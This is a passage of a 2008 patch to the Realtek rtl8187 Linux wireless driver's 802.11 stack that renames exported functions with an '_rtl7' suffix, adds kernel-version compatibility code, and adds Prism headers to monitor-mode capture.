workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = 